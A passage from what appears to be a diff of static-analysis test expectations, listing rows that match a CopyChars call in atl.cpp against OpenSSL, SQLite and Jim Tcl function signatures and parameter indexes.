CopyChars | (BIO *,BIO *,int) | | OSSL_HTTP_REQ_CTX_new | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (BIO *,BIO *,int) | | SMIME_crlf_copy | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (BIO *,GENERAL_NAMES *,int) | | OSSL_GENERAL_NAMES_print | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (BIO *,char *,int) | | BIO_get_line | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (BIO *,const DSA *,int) | | DSA_print | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (BIO *,const RSA *,int) | | RSA_print | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (CERT *,X509_STORE **,int) | | ssl_cert_get_cert_store | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (CRYPTO_THREAD_ROUTINE,void *,int) | | ossl_crypto_thread_native_start | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (DH *,const OSSL_PARAM[],int) | | ossl_dh_key_fromdata | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (DSA *,const OSSL_PARAM[],int) | | ossl_dsa_key_fromdata | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (ECX_KEY *,const OSSL_PARAM[],int) | | ossl_ecx_key_fromdata | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (EC_KEY *,const OSSL_PARAM[],int) | | ossl_ec_key_fromdata | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (ENGINE *,ENGINE_DYNAMIC_ID,int) | | engine_add_dynamic_id | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (EVP_PKEY *,EVP_KEYMGMT *,int) | | evp_keymgmt_util_export_to_provider | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (EVP_PKEY *,EVP_KEYMGMT *,int) | | evp_keymgmt_util_find_operation_cache | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (EVP_PKEY *,EVP_PKEY *,int) | | evp_keymgmt_util_copy | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (EVP_PKEY_CTX *,EVP_PKEY *,int) | | EVP_PKEY_derive_set_peer_ex | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (EVP_PKEY_CTX *,const char *,int) | | EVP_PKEY_CTX_set1_pbe_pass | 1 | +| atl.cpp:927:17:927:25 | CopyChars | (EVP_PKEY_CTX *,const char *,int) | | EVP_PKEY_CTX_set1_pbe_pass | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (EVP_PKEY_CTX *,const unsigned char *,int) | | EVP_PKEY_CTX_add1_hkdf_info | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (EVP_PKEY_CTX *,const unsigned char *,int) | | EVP_PKEY_CTX_add1_tls1_prf_seed | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (EVP_PKEY_CTX *,const unsigned char *,int) | | EVP_PKEY_CTX_set1_hkdf_key | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (EVP_PKEY_CTX *,const unsigned char *,int) | | EVP_PKEY_CTX_set1_hkdf_salt | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (EVP_PKEY_CTX *,const unsigned char *,int) | | EVP_PKEY_CTX_set1_scrypt_salt | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (EVP_PKEY_CTX *,const unsigned char *,int) | | EVP_PKEY_CTX_set1_tls1_prf_secret | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (EVP_PKEY_CTX *,const unsigned char *,int) | | EVP_PKEY_CTX_set_mac_key | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (EVP_PKEY_CTX *,const void *,int) | | EVP_PKEY_CTX_set1_id | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (EVP_PKEY_CTX *,int *,int) | | EVP_PKEY_CTX_set0_keygen_info | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (FFC_PARAMS *,unsigned int,int) | | ossl_ffc_params_enable_flags | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (FILE *,const DSA *,int) | | DSA_print_fp | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (FILE *,const RSA *,int) | | RSA_print_fp | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (FILE *,rule *,int) | | RulePrint | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (Jim_Interp *,Jim_Obj *,int) | | Jim_GetCommand | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (Jim_Interp *,Jim_Obj *,int) | | Jim_GetGlobalVariable | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (Jim_Interp *,Jim_Obj *,int) | | Jim_GetVariable | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (Jim_Interp *,Jim_Obj *,int) | | Jim_ListGetIndex | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (Jim_Interp *,Jim_Obj *,int) | | Jim_UnsetVariable | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (Jim_Interp *,Jim_Obj *const *,int) | | Jim_NewDictObj | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (Jim_Interp *,Jim_Obj *const *,int) | | Jim_NewListObj | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (Jim_Interp *,char *,int) | | Jim_NewStringObjNoAlloc | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (Jim_Interp *,const char *,int) | | Jim_GetGlobalVariableStr | 1 | +| atl.cpp:927:17:927:25 | CopyChars | (Jim_Interp *,const char *,int) | | Jim_GetGlobalVariableStr | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (Jim_Interp *,const char *,int) | | Jim_GetVariableStr | 1 | +| atl.cpp:927:17:927:25 | CopyChars | (Jim_Interp *,const char *,int) | | Jim_GetVariableStr | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (Jim_Interp *,const char *,int) | | Jim_MakeTempFile | 1 | +| atl.cpp:927:17:927:25 | CopyChars | (Jim_Interp *,const char *,int) | | Jim_MakeTempFile | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (Jim_Interp *,const char *,int) | | Jim_NewStringObj | 1 | +| atl.cpp:927:17:927:25 | CopyChars | (Jim_Interp *,const char *,int) | | Jim_NewStringObj | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (Jim_Interp *,const char *,int) | | Jim_NewStringObjUtf8 | 1 | +| atl.cpp:927:17:927:25 | CopyChars | (Jim_Interp *,const char *,int) | | Jim_NewStringObjUtf8 | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (OCSP_BASICRESP *,OCSP_CERTID *,int) | | OCSP_resp_find | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (OCSP_BASICRESP *,X509_EXTENSION *,int) | | OCSP_BASICRESP_add_ext | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (OCSP_BASICRESP *,const ASN1_OBJECT *,int) | | OCSP_BASICRESP_get_ext_by_OBJ | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (OCSP_BASICRESP *,int,int) | | OCSP_BASICRESP_get_ext_by_NID | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (OCSP_BASICRESP *,int,int) | | OCSP_BASICRESP_get_ext_by_critical | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (OCSP_ONEREQ *,X509_EXTENSION *,int) | | OCSP_ONEREQ_add_ext | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (OCSP_ONEREQ *,const ASN1_OBJECT *,int) | | OCSP_ONEREQ_get_ext_by_OBJ | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (OCSP_ONEREQ *,int,int) | | OCSP_ONEREQ_get_ext_by_NID | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (OCSP_ONEREQ *,int,int) | | OCSP_ONEREQ_get_ext_by_critical | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (OCSP_REQUEST *,X509_EXTENSION *,int) | | OCSP_REQUEST_add_ext | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (OCSP_REQUEST *,const ASN1_OBJECT *,int) | | OCSP_REQUEST_get_ext_by_OBJ | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (OCSP_REQUEST *,int,int) | | OCSP_REQUEST_get_ext_by_NID | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (OCSP_REQUEST *,int,int) | | OCSP_REQUEST_get_ext_by_critical | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (OCSP_SINGLERESP *,X509_EXTENSION *,int) | | OCSP_SINGLERESP_add_ext | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (OCSP_SINGLERESP *,const ASN1_OBJECT *,int) | | OCSP_SINGLERESP_get_ext_by_OBJ | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (OCSP_SINGLERESP *,int,int) | | OCSP_SINGLERESP_get_ext_by_NID | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (OCSP_SINGLERESP *,int,int) | | OCSP_SINGLERESP_get_ext_by_critical | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (OPENSSL_STACK *,const void *,int) | | OPENSSL_sk_insert | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (OSSL_CMP_CTX *,const unsigned char *,int) | | OSSL_CMP_CTX_set1_referenceValue | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (OSSL_CMP_CTX *,const unsigned char *,int) | | OSSL_CMP_CTX_set1_secretValue | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (OSSL_CMP_CTX *,int,int) | | OSSL_CMP_CTX_set_option | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (OSSL_LIB_CTX *,const char *,int) | | EC_GROUP_new_by_curve_name_ex | 1 | +| atl.cpp:927:17:927:25 | CopyChars | (OSSL_LIB_CTX *,const char *,int) | | EC_GROUP_new_by_curve_name_ex | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (OSSL_LIB_CTX *,const char *,int) | | EC_KEY_new_by_curve_name_ex | 1 | +| atl.cpp:927:17:927:25 | CopyChars | (OSSL_LIB_CTX *,const char *,int) | | EC_KEY_new_by_curve_name_ex | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (OSSL_LIB_CTX *,const char *,int) | | OSSL_PROVIDER_try_load | 1 | +| atl.cpp:927:17:927:25 | CopyChars | (OSSL_LIB_CTX *,const char *,int) | | OSSL_PROVIDER_try_load | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (OSSL_LIB_CTX *,const char *,int) | | ossl_ml_dsa_key_new | 1 | +| atl.cpp:927:17:927:25 | CopyChars | (OSSL_LIB_CTX *,const char *,int) | | ossl_ml_dsa_key_new | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (OSSL_LIB_CTX *,const char *,int) | | ossl_ml_kem_key_new | 1 | +| atl.cpp:927:17:927:25 | CopyChars | (OSSL_LIB_CTX *,const char *,int) | | ossl_ml_kem_key_new | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (OSSL_LIB_CTX *,const char *,int) | | ossl_parse_query | 1 | +| atl.cpp:927:17:927:25 | CopyChars | (OSSL_LIB_CTX *,const char *,int) | | ossl_parse_query | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (OSSL_LIB_CTX *,const char *,int) | | ossl_property_name | 1 | +| atl.cpp:927:17:927:25 | CopyChars | (OSSL_LIB_CTX *,const char *,int) | | ossl_property_name | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (OSSL_LIB_CTX *,const char *,int) | | ossl_property_value | 1 | +| atl.cpp:927:17:927:25 | CopyChars | (OSSL_LIB_CTX *,const char *,int) | | ossl_property_value | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (OSSL_PROVIDER *,OSSL_PROVIDER **,int) | | ossl_provider_add_to_store | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (OSSL_QRL_ENC_LEVEL_SET *,uint32_t,int) | | ossl_qrl_enc_level_set_get | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (PKCS7 *,stack_st_X509 *,int) | | PKCS7_get0_signers | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (POLICYINFO *,const ASN1_OBJECT *,int) | | ossl_policy_data_new | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (PROV_CTX *,const char *,int) | | ossl_prov_ctx_get_bool_param | 1 | +| atl.cpp:927:17:927:25 | CopyChars | (PROV_CTX *,const char *,int) | | ossl_prov_ctx_get_bool_param | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (PROV_CTX *,const char *,int) | | ossl_prov_ml_dsa_new | 1 | +| atl.cpp:927:17:927:25 | CopyChars | (PROV_CTX *,const char *,int) | | ossl_prov_ml_dsa_new | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (PROV_CTX *,const char *,int) | | ossl_prov_ml_kem_new | 1 | +| atl.cpp:927:17:927:25 | CopyChars | (PROV_CTX *,const char *,int) | | ossl_prov_ml_kem_new | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (QLOG *,uint32_t,int) | | ossl_qlog_set_event_type_enabled | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (QUIC_RXFC *,uint64_t,int) | | ossl_quic_rxfc_on_rx_stream_frame | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (QUIC_STREAM_ITER *,QUIC_STREAM_MAP *,int) | | ossl_quic_stream_iter_init | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (QUIC_STREAM_MAP *,uint64_t,int) | | ossl_quic_stream_map_alloc | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (RSA *,const OSSL_PARAM[],int) | | ossl_rsa_fromdata | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (SSL *,const unsigned char *,int) | | SSL_use_certificate_ASN1 | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (SSL *,const void *,int) | | SSL_write | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (SSL *,void *,int) | | SSL_peek | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (SSL *,void *,int) | | SSL_read | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (SSL *,void *,int) | | SSL_set_session_ticket_ext | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (SSL_CIPHER *,const SSL_CIPHER *,int) | | OBJ_bsearch_ssl_cipher_id | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (SSL_CONNECTION *,PACKET *,int) | | ssl_cache_cipherlist | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (SSL_CONNECTION *,WPACKET *,int) | | dtls1_close_construct_packet | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (SSL_CONNECTION *,WPACKET *,int) | | dtls1_set_handshake_header | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (SSL_CONNECTION *,WPACKET *,int) | | tls_close_construct_packet | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (SSL_CONNECTION *,int,int) | | ssl3_send_alert | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (TS_MSG_IMPRINT *,unsigned char *,int) | | TS_MSG_IMPRINT_set_msg | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (TS_REQ *,X509_EXTENSION *,int) | | TS_REQ_add_ext | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (TS_REQ *,const ASN1_OBJECT *,int) | | TS_REQ_get_ext_by_OBJ | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (TS_REQ *,int,int) | | TS_REQ_get_ext_by_NID | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (TS_REQ *,int,int) | | TS_REQ_get_ext_by_critical | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (TS_TST_INFO *,X509_EXTENSION *,int) | | TS_TST_INFO_add_ext | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (TS_TST_INFO *,const ASN1_OBJECT *,int) | | TS_TST_INFO_get_ext_by_OBJ | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (TS_TST_INFO *,int,int) | | TS_TST_INFO_get_ext_by_NID | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (TS_TST_INFO *,int,int) | | TS_TST_INFO_get_ext_by_critical | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (X509 *,X509_EXTENSION *,int) | | X509_add_ext | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (X509 *,int,int) | | X509_check_purpose | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (X509 *,int,int) | | X509_check_trust | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (X509_CRL *,X509_EXTENSION *,int) | | X509_CRL_add_ext | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (X509_PUBKEY *,unsigned char *,int) | | X509_PUBKEY_set0_public_key | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (X509_REVOKED *,X509_EXTENSION *,int) | | X509_REVOKED_add_ext | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (X509_STORE_CTX *,X509 *,int) | | ossl_x509_check_cert_time | 2 | | atl.cpp:927:17:927:25 | CopyChars | (XCHAR *,const XCHAR *,int) | CSimpleStringT | CopyChars | 0 | | atl.cpp:927:17:927:25 | CopyChars | (XCHAR *,const XCHAR *,int) | CSimpleStringT | CopyChars | 1 | | atl.cpp:927:17:927:25 | CopyChars | (XCHAR *,const XCHAR *,int) | CSimpleStringT | CopyChars | 2 | | atl.cpp:927:17:927:25 | CopyChars | (XCHAR *,const XCHAR *,int) | CSimpleStringT | CopyCharsOverlapped | 0 | | atl.cpp:927:17:927:25 | CopyChars | (XCHAR *,const XCHAR *,int) | CSimpleStringT | CopyCharsOverlapped | 1 | | atl.cpp:927:17:927:25 | CopyChars | (XCHAR *,const XCHAR *,int) | CSimpleStringT | CopyCharsOverlapped | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (action *,FILE *,int) | | PrintAction | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (acttab *,int,int) | | acttab_action | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (const ASN1_VALUE *,const ASN1_TEMPLATE *,int) | | ossl_asn1_do_adb | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (const BIGNUM *,int[],int) | | BN_GF2m_poly2arr | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (const BIGNUM *,unsigned char *,int) | | BN_bn2binpad | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (const BIGNUM *,unsigned char *,int) | | BN_bn2lebinpad | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (const BIGNUM *,unsigned char *,int) | | BN_bn2nativepad | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (const BIGNUM *,unsigned char *,int) | | BN_signed_bn2bin | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (const BIGNUM *,unsigned char *,int) | | BN_signed_bn2lebin | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (const BIGNUM *,unsigned char *,int) | | BN_signed_bn2native | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (const CMS_ContentInfo *,BIO *,int) | | ossl_cms_DigestedData_do_final | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (const CMS_SignerInfo *,const ASN1_OBJECT *,int) | | CMS_signed_get_attr_by_OBJ | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (const CMS_SignerInfo *,const ASN1_OBJECT *,int) | | CMS_unsigned_get_attr_by_OBJ | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (const CMS_SignerInfo *,int,int) | | CMS_signed_get_attr_by_NID | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (const CMS_SignerInfo *,int,int) | | CMS_unsigned_get_attr_by_NID | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (const EVP_MD *,const EVP_MD *,int) | | ossl_rsa_pss_params_create | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (const EVP_PKEY *,const ASN1_OBJECT *,int) | | EVP_PKEY_get_attr_by_OBJ | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (const EVP_PKEY *,int,int) | | EVP_PKEY_get_attr_by_NID | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (const OSSL_PARAM *,BIO *,int) | | OSSL_PARAM_print_to_bio | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (const OSSL_PROVIDER *,const char *,int) | | OSSL_PROVIDER_conf_get_bool | 1 | +| atl.cpp:927:17:927:25 | CopyChars | (const OSSL_PROVIDER *,const char *,int) | | OSSL_PROVIDER_conf_get_bool | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (const SSL *,char *,int) | | SSL_get_shared_ciphers | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (const SSL *,int,int) | | apps_ssl_info_callback | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (const SSL_CIPHER *,char *,int) | | SSL_CIPHER_description | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (const X509 *,const ASN1_OBJECT *,int) | | X509_get_ext_by_OBJ | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (const X509 *,const stack_st_X509 *,int) | | OSSL_ESS_signing_cert_new_init | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (const X509 *,int,int) | | X509_get_ext_by_NID | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (const X509 *,int,int) | | X509_get_ext_by_critical | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (const X509_ACERT *,const ASN1_OBJECT *,int) | | X509_ACERT_get_attr_by_OBJ | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (const X509_ACERT *,int,int) | | X509_ACERT_get_attr_by_NID | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (const X509_CRL *,const ASN1_OBJECT *,int) | | X509_CRL_get_ext_by_OBJ | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (const X509_CRL *,const X509 *,int) | | OSSL_CMP_CRLSTATUS_create | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (const X509_CRL *,int,int) | | X509_CRL_get_ext_by_NID | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (const X509_CRL *,int,int) | | X509_CRL_get_ext_by_critical | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (const X509_NAME *,char *,int) | | X509_NAME_oneline | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (const X509_NAME *,const ASN1_OBJECT *,int) | | X509_NAME_get_index_by_OBJ | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (const X509_NAME *,int,int) | | X509_NAME_get_index_by_NID | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (const X509_REQ *,const ASN1_OBJECT *,int) | | X509_REQ_get_attr_by_OBJ | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (const X509_REQ *,int,int) | | X509_REQ_get_attr_by_NID | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (const X509_REVOKED *,const ASN1_OBJECT *,int) | | X509_REVOKED_get_ext_by_OBJ | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (const X509_REVOKED *,int,int) | | X509_REVOKED_get_ext_by_NID | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (const X509_REVOKED *,int,int) | | X509_REVOKED_get_ext_by_critical | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (const X509_SIG *,const char *,int) | | PKCS8_decrypt | 1 | +| atl.cpp:927:17:927:25 | CopyChars | (const X509_SIG *,const char *,int) | | PKCS8_decrypt | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (const char *,const OSSL_PARAM *,int) | | print_param_types | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (const char *,const char *,int) | | CRYPTO_strdup | 1 | +| atl.cpp:927:17:927:25 | CopyChars | (const char *,const char *,int) | | CRYPTO_strdup | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (const char *,const char *,int) | | sqlite3_strnicmp | 1 | +| atl.cpp:927:17:927:25 | CopyChars | (const char *,const char *,int) | | sqlite3_strnicmp | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (const char *,long *,int) | | Jim_StringToWide | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (const char *,sqlite3_filename,int) | | sqlite3_uri_key | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (const stack_st_X509_ATTRIBUTE *,const ASN1_OBJECT *,int) | | X509at_get_attr_by_OBJ | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (const stack_st_X509_ATTRIBUTE *,int,int) | | X509at_get_attr_by_NID | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (const stack_st_X509_EXTENSION *,const ASN1_OBJECT *,int) | | X509v3_get_ext_by_OBJ | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (const stack_st_X509_EXTENSION *,int,int) | | X509v3_get_ext_by_NID | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (const stack_st_X509_EXTENSION *,int,int) | | X509v3_get_ext_by_critical | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (const unsigned char **,unsigned int,int) | | ossl_b2i_DSA_after_header | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (const unsigned char **,unsigned int,int) | | ossl_b2i_RSA_after_header | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (const void *,const void *,int) | | ossl_is_partially_overlapping | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (int,BIO_ADDR *,int) | | BIO_accept_ex | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (int,int,int) | | ASN1_object_size | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (int,int,int) | | EVP_CIPHER_meth_new | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (regex_t *,const char *,int) | | jim_regcomp | 1 | +| atl.cpp:927:17:927:25 | CopyChars | (regex_t *,const char *,int) | | jim_regcomp | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (sqlite3 *,const char *,int) | | sqlite3_overload_function | 1 | +| atl.cpp:927:17:927:25 | CopyChars | (sqlite3 *,const char *,int) | | sqlite3_overload_function | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (sqlite3 *,int,int) | | sqlite3_limit | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (sqlite3_context *,const char *,int) | | sqlite3_result_error | 1 | +| atl.cpp:927:17:927:25 | CopyChars | (sqlite3_context *,const char *,int) | | sqlite3_result_error | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (sqlite3_context *,const void *,int) | | sqlite3_result_error16 | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (sqlite3_index_info *,int,int) | | sqlite3_vtab_in | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (sqlite3_stmt *,int,int) | | sqlite3_bind_int | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (sqlite3_stmt *,int,int) | | sqlite3_bind_zeroblob | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (sqlite3_stmt *,int,int) | | sqlite3_stmt_status | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (sqlite3_str *,const char *,int) | | sqlite3_str_append | 1 | +| atl.cpp:927:17:927:25 | CopyChars | (sqlite3_str *,const char *,int) | | sqlite3_str_append | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (sqlite3expert *,int,int) | | sqlite3_expert_report | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (stack_st_ASN1_UTF8STRING *,const char *,int) | | ossl_cmp_sk_ASN1_UTF8STRING_push_str | 1 | +| atl.cpp:927:17:927:25 | CopyChars | (stack_st_ASN1_UTF8STRING *,const char *,int) | | ossl_cmp_sk_ASN1_UTF8STRING_push_str | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (stack_st_X509 **,X509 *,int) | | ossl_x509_add_cert_new | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (stack_st_X509 **,stack_st_X509 *,int) | | ossl_x509_add_certs_new | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (stack_st_X509 *,ASIdentifiers *,int) | | X509v3_asid_validate_resource_set | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (stack_st_X509 *,IPAddrBlocks *,int) | | X509v3_addr_validate_resource_set | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (stack_st_X509 *,X509 *,int) | | X509_add_cert | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (stack_st_X509 *,stack_st_X509 *,int) | | X509_add_certs | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (stack_st_X509_ALGOR **,int,int) | | CMS_add_simple_smimecap | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (stack_st_X509_ALGOR *,int,int) | | PKCS7_simple_smimecap | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (stack_st_X509_EXTENSION **,X509_EXTENSION *,int) | | X509v3_add_ext | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (uint8_t[56],const gf,int) | | gf_serialize | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (uint32_t *,SSL_CONNECTION *,int) | | ssl_set_sig_mask | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (unsigned char *,const unsigned char *,int) | | EVP_DecodeBlock | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (unsigned char *,const unsigned char *,int) | | EVP_EncodeBlock | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (unsigned char *,uint64_t,int) | | ossl_i2c_uint64_int | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (unsigned int,int,int) | | ossl_blob_length | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (unsigned long *,const BIGNUM *,int) | | bn_copy_words | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (unsigned long *,const unsigned long *,int) | | bn_sqr_words | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (void *,const char *,int) | | CRYPTO_secure_free | 1 | +| atl.cpp:927:17:927:25 | CopyChars | (void *,const char *,int) | | CRYPTO_secure_free | 2 | +| atl.cpp:928:17:928:25 | CopyChars | (BIGNUM *,const BIGNUM *,const BIGNUM *,int) | | ossl_rsa_check_pminusq_diff | 3 | +| 